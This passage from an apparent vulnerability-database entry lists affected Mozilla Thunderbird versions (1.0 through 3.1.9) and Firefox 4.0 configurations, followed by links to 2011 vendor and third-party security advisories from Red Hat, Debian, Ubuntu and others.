Mozilla>>Thunderbird >> Version 1.0

Mozilla>>Thunderbird >> Version 1.0.1

    Mozilla>>Thunderbird >> Version 1.0.2

    Mozilla>>Thunderbird >> Version 1.0.3

      Mozilla>>Thunderbird >> Version 1.0.4

        Mozilla>>Thunderbird >> Version 1.0.5

        Mozilla>>Thunderbird >> Version 1.0.6

        Mozilla>>Thunderbird >> Version 1.0.7

        Mozilla>>Thunderbird >> Version 1.0.8

        Mozilla>>Thunderbird >> Version 1.5

        Mozilla>>Thunderbird >> Version 1.5

        Mozilla>>Thunderbird >> Version 1.5.0.1

          Mozilla>>Thunderbird >> Version 1.5.0.2

          Mozilla>>Thunderbird >> Version 1.5.0.3

            Mozilla>>Thunderbird >> Version 1.5.0.4

            Mozilla>>Thunderbird >> Version 1.5.0.5

            Mozilla>>Thunderbird >> Version 1.5.0.6

              Mozilla>>Thunderbird >> Version 1.5.0.7

              Mozilla>>Thunderbird >> Version 1.5.0.8

              Mozilla>>Thunderbird >> Version 1.5.0.9

              Mozilla>>Thunderbird >> Version 1.5.0.10

              Mozilla>>Thunderbird >> Version 1.5.0.11

                Mozilla>>Thunderbird >> Version 1.5.0.12

                Mozilla>>Thunderbird >> Version 1.5.0.13

                Mozilla>>Thunderbird >> Version 1.5.0.14

                Mozilla>>Thunderbird >> Version 1.5.1

                  Mozilla>>Thunderbird >> Version 1.5.2

                    Mozilla>>Thunderbird >> Version 1.7.1

                      Mozilla>>Thunderbird >> Version 1.7.3

                        Mozilla>>Thunderbird >> Version 2.0

                        Mozilla>>Thunderbird >> Version 2.0.0.0

                        Mozilla>>Thunderbird >> Version 2.0.0.1

                          Mozilla>>Thunderbird >> Version 2.0.0.2

                            Mozilla>>Thunderbird >> Version 2.0.0.3

                              Mozilla>>Thunderbird >> Version 2.0.0.4

                              Mozilla>>Thunderbird >> Version 2.0.0.5

                              Mozilla>>Thunderbird >> Version 2.0.0.6

                              Mozilla>>Thunderbird >> Version 2.0.0.7

                                Mozilla>>Thunderbird >> Version 2.0.0.8

                                  Mozilla>>Thunderbird >> Version 2.0.0.9

                                  Mozilla>>Thunderbird >> Version 2.0.0.12

                                  Mozilla>>Thunderbird >> Version 2.0.0.14

                                  Mozilla>>Thunderbird >> Version 2.0.0.16

                                  Mozilla>>Thunderbird >> Version 2.0.0.17

                                  Mozilla>>Thunderbird >> Version 2.0.0.18

                                  Mozilla>>Thunderbird >> Version 2.0.0.19

                                  Mozilla>>Thunderbird >> Version 2.0.0.21

                                  Mozilla>>Thunderbird >> Version 2.0.0.22

                                  Mozilla>>Thunderbird >> Version 2.0.0.23

                                  Mozilla>>Thunderbird >> Version 3.0

                                  Mozilla>>Thunderbird >> Version 3.0.1

                                  Mozilla>>Thunderbird >> Version 3.0.2

                                  Mozilla>>Thunderbird >> Version 3.0.3

                                  Mozilla>>Thunderbird >> Version 3.0.4

                                  Mozilla>>Thunderbird >> Version 3.0.5

                                  Mozilla>>Thunderbird >> Version 3.0.6

                                  Mozilla>>Thunderbird >> Version 3.0.7

                                  Mozilla>>Thunderbird >> Version 3.0.8

                                  Mozilla>>Thunderbird >> Version 3.0.9

                                  Mozilla>>Thunderbird >> Version 3.0.10

                                  Mozilla>>Thunderbird >> Version 3.0.11

                                  Mozilla>>Thunderbird >> Version 3.1

                                  Mozilla>>Thunderbird >> Version 3.1.1

                                  Mozilla>>Thunderbird >> Version 3.1.2

                                  Mozilla>>Thunderbird >> Version 3.1.3

                                  Mozilla>>Thunderbird >> Version 3.1.4

                                  Mozilla>>Thunderbird >> Version 3.1.5

                                  Mozilla>>Thunderbird >> Version 3.1.6

                                  Mozilla>>Thunderbird >> Version 3.1.7

                                  Mozilla>>Thunderbird >> Version 3.1.8

                                  Mozilla>>Thunderbird >> Version 3.1.9

                                  Configuraton 0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0

                                  Mozilla>>Firefox >> Version 4.0.1

                                  References

                                  http://www.mandriva.com/security/advisories?name=MDVSA-2011:111
                                  Tags : vendor-advisory, x_refsource_MANDRIVA
                                  http://secunia.com/advisories/45002
                                  Tags : third-party-advisory, x_refsource_SECUNIA
                                  http://www.ubuntu.com/usn/USN-1149-1
                                  Tags : vendor-advisory, x_refsource_UBUNTU
                                  http://www.redhat.com/support/errata/RHSA-2011-0887.html
                                  Tags : vendor-advisory, x_refsource_REDHAT
                                  http://www.redhat.com/support/errata/RHSA-2011-0885.html
                                  Tags : vendor-advisory, x_refsource_REDHAT
                                  http://www.debian.org/security/2011/dsa-2268
                                  Tags : vendor-advisory, x_refsource_DEBIAN
                                  http://www.redhat.com/support/errata/RHSA-2011-0888.html
                                  Tags : vendor-advisory, x_refsource_REDHAT
                                  http://www.debian.org/security/2011/dsa-2269
                                  Tags : vendor-advisory, x_refsource_DEBIAN
                                  http://www.debian.org/security/2011/dsa-2273
                                  Tags : vendor-advisory, x_refsource_DEBIAN
                                  http://securityreason.com/securityalert/8472
                                  Tags : third-party-advisory, x_refsource_SREASON